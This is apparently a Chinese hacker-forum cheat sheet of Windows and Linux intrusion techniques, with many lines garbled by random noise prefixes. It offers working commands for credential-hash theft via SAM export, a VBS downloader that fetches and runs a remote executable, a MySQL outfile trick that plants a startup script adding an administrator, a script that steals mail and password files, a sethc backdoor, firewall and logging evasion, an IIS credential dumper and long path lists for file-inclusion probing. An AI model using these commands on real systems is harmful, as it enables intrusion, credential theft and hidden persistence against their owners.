6 U9 }- S0 V/ j* R5 |* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
$ H& R% R. d& A" \- v/ }0 ]% hcalling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
" S1 b) s; X1 P0 u- k{
7 P* }+ ]& a* {1 y; u注：
- z0 V; F2 j" O& q" Q关于tar的打包方式,linux不以扩展名来决定文件类型。
( u; L, p2 \: H2 s$ P4 z若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
! T8 @9 Y8 p0 m1 o$ a; Q" D那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

. B! W' _4 I2 `提权先执行systeminfo
& D, E! ]" e. e; ftoken 漏洞补丁号 KB956572
0 P* R; W9 T' hChurrasco          kb952004
. p- u5 F( o# N- C% v, U命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
for window：

! x  r9 r: _' _2 x4 l0 w8 T@echo off
8 `" l  T+ X4 }& V* i8 y8 H7 secho #########system info collection
systeminfo
2 V4 u6 C9 |2 }( B& n# Iver
5 v3 M8 t+ s2 G1 n4 s3 C* ~( shostname
net user
net localgroup
net localgroup administrators
net user guest
' S0 i+ n# V0 M1 Bnet user administrator
! E- N( V2 v0 b2 m
6 C' T3 V, a2 ~$ M  x9 {0 X( cecho #######at- with   atq#####
echo schtask /query

: ^2 v0 ~3 W* E5 decho
0 d$ I. @8 I: X# n* H2 h0 k7 [# @echo ####task-list#############
tasklist /svc
echo
echo ####net-work infomation
* I( u0 U: y0 ^+ i. ^( H+ ]ipconfig/all
" m7 N: i, j. n/ C5 Q+ j1 jroute print
6 w$ c5 l: N. ]2 Warp -a
, [$ p2 H1 k! F% i# S; C' mnetstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
" Y; L- F3 I& I# l3 f3 X; eecho #######file-##############
8 g  a# c9 T  R( W& Q7 A4 b- [cd \
tree -F
for linux：

9 P: Z4 g: _0 D#!/bin/bash
2 X# E2 J, s* m/ b& K; h
, t' p/ m  `; |0 b: ^echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
% |; |- ]4 h1 _5 E  b$ qcat /proc/meminfo
echo
cat /proc/cpuinfo
; o8 L) {! K, hecho
rpm -qa 2>/dev/null
/ G) `8 J) R% F, o######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


4 J( j0 x0 v. ^echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
set
1 X$ A0 X2 J- z. N
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
/ b! N  D* A/ [ipconfig -a
arp -v
, s4 ]$ z  u# N: Hecho ########user####
+ A7 H. o7 X% i* c8 h( Icat /etc/passwd|grep -i sh

echo ######service####
chkconfig --list
0 F/ M% T. a1 n* W2 `
! R9 ]/ O5 z9 R; Efor i in {oracle,mysql,tomcat,samba,apache,ftp}
4 h8 i- m' V" q1 G; G' d' _  y* vcat /etc/passwd|grep -i $i
) e! b/ m8 x2 Q# d/ d! Gdone

# m9 _  @0 ~% e2 M6 ylocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
' G; m* ?) ~5 b0 ~( d2 H/ J7 lsleep 5
locate conf >/tmp/sysconfig 2>dev/null
' I" I2 M% V1 W0 Fsleep 5
+ w/ Q0 g& w2 e' L# b9 f2 wlocate config >>/tmp/sysconfig 2>/dev/null
3 _0 z: ]) T7 xsleep 5
. z8 ?+ H& D: [7 @; a  N
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
9 N& J0 A1 a! k4 i1 J# w——————————————
" n! P" V8 k& S4 T, _1 G3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
% s5 [$ W; o: v) W: {" O注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
3 a8 U# U5 r8 w/ l- @% j1 [- c接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
' h$ x2 I8 |& Z( }据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
9 U4 s1 o1 J6 f9 b) f——————————————
4、vbs 下载者
1
; m  P7 k- V+ Q5 @  ?8 j6 mecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
" t0 S: e8 m8 i! Decho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
2 ?/ y8 b/ A1 Recho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
4 h/ N0 U* w# q* I; X. Hecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
- ^, Z. C0 Q  ?4 W1 B& Dcftmon.vbs

! _; o8 ?5 W% A# \2
# c5 J5 O4 \: ~. C5 n! dOn Error Resume Nextim iRemote,iLocal,s1,s2
' ~, E: ]" c2 n+ a! K, riLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
) G1 V8 d/ B: p: N8 `$ B& J  J3 QSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
# T+ R7 B# `- P, W6 R; R4 VsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

5 T( N3 G/ A- Y4 A% s# ~9 ^cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
0 e4 q+ Q( U! A7 f# K- H& T' a——————————————————
5、
. C/ y7 |4 A6 C& k1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
/ o& O+ B6 p( H& i5 F8 uREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
& _5 M+ J5 L+ v: k' H+ j3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
1 T4 }) ?1 S' m; ?. J7 e" O$ w4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
$ p4 E6 U4 l8 w7 [————————————————
3 c5 q  i7 Z, u3 v6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
' m- s5 w( j% f+ }% e! mselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
% X$ \! I; O+ e* k7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
$ M; u( S' ?& {# |6 {( V. q' f8、for /d %i in (d:\freehost\*) do @echo %i
$ v, @  }7 z. D3 U- B/ u
- A2 v# o# h5 w3 J列出d的所有目录
( Z! @* y% x, {0 F- C9 P* c! L  
  for /d %i in (???) do @echo %i
4 M! b1 Z  _  B% H# K" I5 Z
- k3 a" I0 d. L' D1 L: ~! U把当前路径下文件夹的名字只有1-3个字母的打出来
, T4 A" U4 O; v! \% E
; a3 a- h4 I# a6 f( J4 T# h8 i2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
, ^2 z. V5 x; @( U  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
" U$ T/ H" z3 X5 z
3 k, Z8 _" E5 b! d6 g' D; h4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

1 S) a1 d! T; a3 Z$ t' z  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
2 [- }/ h6 y6 T) Q; {2 {1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
, D* C. s# c: oHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.

8 D* w9 X# d# r$ F8 ~. j3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
8 Z3 n4 I1 Z9 p' Breg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
4 x! L# q! F0 _4 _reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
* @# J1 e: `3 r6 q# z6 q或者
1 _+ t8 b$ [, |7 l0 x* i, t6 tnetsh ipsec dynamic set config ipsecexempt value=0
+ w( F1 j& S' t- }
7.停止指派策略"myipsec":
5 `% W. P( e$ G) |' `7 P7 u0 Y( ^# vnetsh ipsec static set policy name="myipsec" assign=n
9 T! X! g5 E9 F. R
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
2 L0 R( \- J3 k5 M8 R2 w5 y
9.另类方法抓系统密码HASH
9 b% T* g3 O5 A9 N* d6 q5 Areg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
( p  X% R& O. J
10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
$ C  n1 Q3 C' u2 d9 a2 ]Set ObjService=GetObject("IIS://LocalHost/W3SVC")
4 R$ T( ?, N& p, ]0 F9 B9 nFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
/ f  F0 d/ T- y! P' o4 Wif err.number<>0 then
6 \8 K) d6 Q6 `exit for
msgbox("error!")
wscript.quit
end if
6 M) L! a; k+ k# e. w! j. f$ Eserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
' m8 o) i) z: E0 _8 `set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
/ j7 ]9 I( I% f0 Ppass=iisweb.AnonymousUserPass
( C- H/ X# k, Y" Z: @& x0 \path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
Set ObjService=Nothing
& Y- c3 w1 V  U' \# Xwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
5 p9 G6 h/ r; e% I& ?WScript.Quit
' K0 X; L) T/ o复制代码
& K: t% {1 D0 w: J, Y1 `  _5 K3 @----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
. r* c9 O- L. R2 @# Z3 Z# a# `然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
6 Y" {1 _, b1 q  [% }) ]+ J4 HPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
( @" t% q6 S$ l' G2 B# M  f+ U url=request.severvariables("url")
/ d) D( m; X9 Y4 u# w7 U% o 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
: v& j9 K9 T' i1 U
==============================================================
( p, \% H) S1 m, R' \; }LINUX常见路径：
! c4 K+ l9 h, S5 \) `
+ O& _; C6 _; K8 l, ?/etc/passwd
; w/ ^/ Q% h: ~  Q/etc/shadow
/etc/fstab
/etc/host.conf
9 g) V) r* ~0 G! G. x/etc/motd
& w4 f3 Y- O- |# v1 k& S& M/etc/ld.so.conf
+ ^/ z" Y# s& ?9 {; |/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
0 x8 L' a% C6 i, {) a! D# N/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
! l( X' b0 X5 ]# r+ S/var/httpd/conf/httpd.conf
5 o5 O( c3 ~$ p$ n- C/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
( z- J) I! m: ~0 h/var/www/index.html
0 x% w# T& [8 i& q7 D% [$ z' V/var/www/index.php
/opt/www/conf/httpd.conf
% u. i" Y/ M! e# J7 A! H  t' i/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
4 g# N- e7 r( l& \/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
  _2 D5 K, m3 o1 E/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
+ ?, H2 Z. E2 d3 k+ s6 f4 h/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
+ ~( ]% w- b$ M! b/www/php/php.ini
5 O" k  S  X* r$ j4 y3 f/www/php4/php.ini
' Y+ \" e  A, B  l/www/php5/php.ini
, Q. y" _; w6 _, f7 g6 _/www/conf/httpd.conf
/www/htdocs/index.php
* W0 E* a  S4 m0 ^9 J$ ]  G4 p/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
1 g9 v' |* F0 e2 U; A0 N. O% q; n9 I/ r/apache/apache2/conf/httpd.conf
- n9 f0 {! m- T! k& |/etc/apache/apache.conf
/etc/apache2/apache.conf
9 f2 P. ^. d5 H/ ~& v! o% V/ ~/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
' G/ X  d1 l$ D; e/etc/httpd/conf.d/php.conf
1 H8 j; v1 }  V$ g/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
4 D* U" z! b/ L- u( Q$ v: P5 ^2 V& f/etc/httpd/logs/error.log
6 S/ q% b) N- c/etc/httpd/logs/access_log
6 o3 c  U) u1 v2 ]' D/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
; W4 u& \$ @0 P7 X8 C" f/var/log/apache/access_log
1 ]8 Q, x; k5 ~; b' u: t( j. O  D/var/log/apache/access.log
. N" J& z- ^+ J' d/var/log/apache2/error_log
0 \" e4 I) o; r' R/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
* z6 ^" _1 {8 F; R8 i) Y/var/www/logs/error.log
/var/www/logs/access_log
3 _; D+ M' m$ C' r/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
% z6 [8 w( w! i- Y9 a/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
( m% G; ~3 O' D% ?. h$ b' R/ q/var/log/access_log
/var/log/access.log
1 `% L8 h$ W0 M2 k9 z- Y/usr/local/apache/logs/access_logaccess_log.old
2 O) O  C: m' Y9 u* ^/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
* ~* X: K. P8 Y: h) I8 U/bin/php.ini
' a: f8 G; `: j( X( ]3 Z- I, ?3 K. a3 O/etc/init.d/httpd
! n( z% n/ y5 {1 f( K/etc/init.d/mysql
) ~! y0 S6 r. ~& [4 ]3 Y: F1 G/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
! x/ u% L6 F3 y; s( V3 F/usr/local/php4/php.ini
/ L! l2 \! u2 x/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
  @" @/ N8 k7 E7 R+ B/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
  l1 Z  g) S+ j( ]/usr/local/apache/conf/httpd.conf
2 q( G& t1 z: d& `5 L: |3 R1 D1 h/usr/local/apache2/conf/httpd.conf
3 N# y& C, L' t* m, B  C8 X$ q/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
( `: _( f) G+ h+ k/etc/php4/apache2/php.ini
# o6 ^* t; A+ P! e  w1 K7 W/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
7 G. t8 a" Z3 c5 \/etc/php/php.ini
7 J+ e3 @: Z- [" |( K# F/etc/php/php4/php.ini
/etc/php/apache/php.ini
/ l" R3 N' u, @- u4 S# c/etc/php/apache2/php.ini
# C( T* u$ P- _7 z7 A/web/conf/php.ini
# ~  N, Q0 P! J8 [( c/usr/local/Zend/etc/php.ini
7 Y0 x5 V  Q1 B/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
1 b: C1 P+ s7 ~( ]0 M2 W/var/local/www/conf/httpd.conf
- `% m- N% u( ]2 R% U" q/etc/php/cgi/php.ini
% |; V" e$ u7 J, s; q. p0 }' ]/etc/php4/cgi/php.ini
, y1 M# c7 Y. ?9 _/etc/php5/cgi/php.ini
0 X+ R# N" D0 f7 ]8 Y1 e' A: j% x- I/php5/php.ini
/php4/php.ini
/ B% `4 t! `2 v6 U# i/php/php.ini
7 e7 x& Y+ z' m& u* M/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
$ L$ @  I& ?' g8 X5 t. f/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
8 d$ b4 v0 I5 t! p" ?( u! ]/ |7 M/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
" {  c" F* C" x* x2 z$ Y& E5 i/var/mysql.log
/var/lib/mysql/my.cnf
. j1 j9 J8 {6 o% j* _, r/ k/usr/local/mysql/my.cnf
' [, g  a- X5 o4 I- Z/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
) S1 [# O8 M! E% d2 y; O/etc/my.cnf
1 v7 t' ?3 E. @1 [, E/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
. z( i% x7 q, L* @+ S$ K/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
& G2 S# p* e( A7 }2 k* E/usr/local/cpanel/logs/stats_log
7 y( W/ K4 y5 R6 l9 M9 x" g/usr/local/share/examples/php4/php.ini
9 J1 h1 Q: R4 S5 |/usr/local/share/examples/php/php.ini
2 C* e, e! u$ ]5 _1 V) r( w
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
  E7 J% I! N. I3 j6 Z8 d
c:\windows\php.ini
6 V7 H" x$ z$ Y  @7 _c:\boot.ini
+ a3 [! N. e" oc:\1.txt
" e' ]2 A" `8 V+ Z9 i% U/ R; U7 }c:\a.txt
; {8 S0 {! [1 }" {& m' X* E: U
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
$ m1 n# }; S1 e: Mc:\program files\CMailServer\CMailServer.exe
- a3 v% K/ ~/ E* l1 Uc:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
1 ^3 j  ]0 f0 ?4 N0 _) `/ D5 h& gC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
. P; V$ r- ]. U" f1 IC:\WINDOWS\7i24iislog4.exe
  e/ Q4 o6 }7 v1 C+ q8 s1 hC:\WINDOWS\7i24tool.exe
5 o" C* Q; v' F6 f! P: B+ y
4 `; l/ ^9 Z8 m9 n2 bc:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
, A4 t0 k& @+ I: b
6 S# |) V; D* Q9 E6 c) }1 QC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
* t$ N( _. |3 r8 f. h; e! wC:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
) P% |/ O: ~$ G  b' R6 o1 K' Rc:\website\index.html
c:\web\index.asp
c:\www\index.asp
4 U5 ^7 R& y( `; zc:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
% N5 ?$ H7 D9 S+ L7 O6 I9 Tc:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
0 {- `3 {, I3 V8 n- X+ Q/ zc:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
c:\www\default.asp
7 i( E& b. i$ V! Vc:\wwwsite\default.asp
+ E6 G8 A2 c( o1 T2 sc:\WWWROOT\default.asp
  ~) n' e8 X9 F6 t' ]/ Vc:\web\default.php
c:\www\default.php
" l( r: [& J: I& w0 H$ fc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
" r: ^/ Z+ [; v# R* dC:\Program Files\360\360Safe\360safe.exe
' x/ s6 G6 C# X6 Y, ]5 ?5 V' wC:\Program Files\360Safe\360safe.exe
7 w0 y" F* M, I, k9 {" }/ RC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
1 B/ s0 {- K' h% x/ |" E/ {c:\rising.ini
9 }* |. Z% X$ `8 o2 JC:\Program Files\Rising\Rav\RsTask.xml
4 i, p+ Z# [& R( Q( I5 P4 LC:\Documents and Settings\All Users\Start Menu\desktop.ini
5 l$ T4 ?( P* E7 r1 b5 O9 IC:\Documents and Settings\Administrator\My Documents\Default.rdp
. i# I! I! C1 oC:\Documents and Settings\Administrator\Cookies\index.dat
! h* l2 k, b6 w+ Y/ LC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
1 z4 @" X& Y8 f+ G( X+ aC:\Documents and Settings\Administrator\桌面\1.txt
' }- Z: X4 w3 E. d4 BC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
8 p8 _& o  n5 a0 x7 `E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
8 y% z7 I, {! s3 A' iC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
0 e/ H& z$ Y+ M* r6 wC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
5 ?2 u7 z& b4 Q# K+ [' TC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
! t) h" x) n! z4 i- m6 OC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
0 x5 \1 z5 c5 N' [7 X6 ^C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
9 D7 i  D* [2 ]; f( LC:\Program Files\MySQL\MySQL Server 5.0\my.ini
9 o0 c$ N8 K- L7 a" d1 VC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
  \4 a8 a% W' Q4 e5 ]  LC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
( ^! g$ @. J; ?/ xc:\MySQL\MySQL Server 4.1\bin\mysql.exe
. X: x7 y3 }& ^3 Nc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
$ h# y+ [( n1 N/ c1 D, eC:\Program Files\Oracle\oraconfig\Lpk.dll
+ [& j2 w- B( U0 S  PC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
3 D; Z; Z8 K4 O4 M; {9 j9 p: VC:\WINDOWS\system32\inetsrv\w3wp.exe
  e$ D$ C1 k9 s1 k+ @$ A% t& D# AC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
) _5 M$ U' U' S# Q$ PC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
- o* T! n& j1 v& }% G* Qc:\program files\CMailServer\config.ini
  _4 K, a* y+ a+ I8 Q! e/ Qc:\tomcat6\tomcat6\bin\version.sh
; V& u9 Y: ]8 o% g" R! Wc:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
1 p/ G+ b) S4 K9 T- Xc:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
; q' _( c* R5 M/ c2 g. Bc:\Apache2\Apache2\bin\Apache.exe
6 {5 {/ [4 N. Y/ _  hc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
* u5 ]% Z! g2 q1 x! k0 U! oC:\Program Files\Apache Group\Apache2\bin\Apache.exe
$ `3 f8 j  }& U/usr/local/tomcat5527/bin/version.sh
9 t) {: D# g  H/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
, f# h9 z2 ~) n# Wc:\Program Files\Tencent\qq\User.db
6 m& ^) p) U) K; v* P) Uc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
9 ?# c) R/ e$ Z1 o$ G( Nc:\Program Files\Tencent\qq2009\qq.exe
( P' \( S/ O0 `2 I% e$ X. hc:\Program Files\Tencent\qq2008\qq.exe
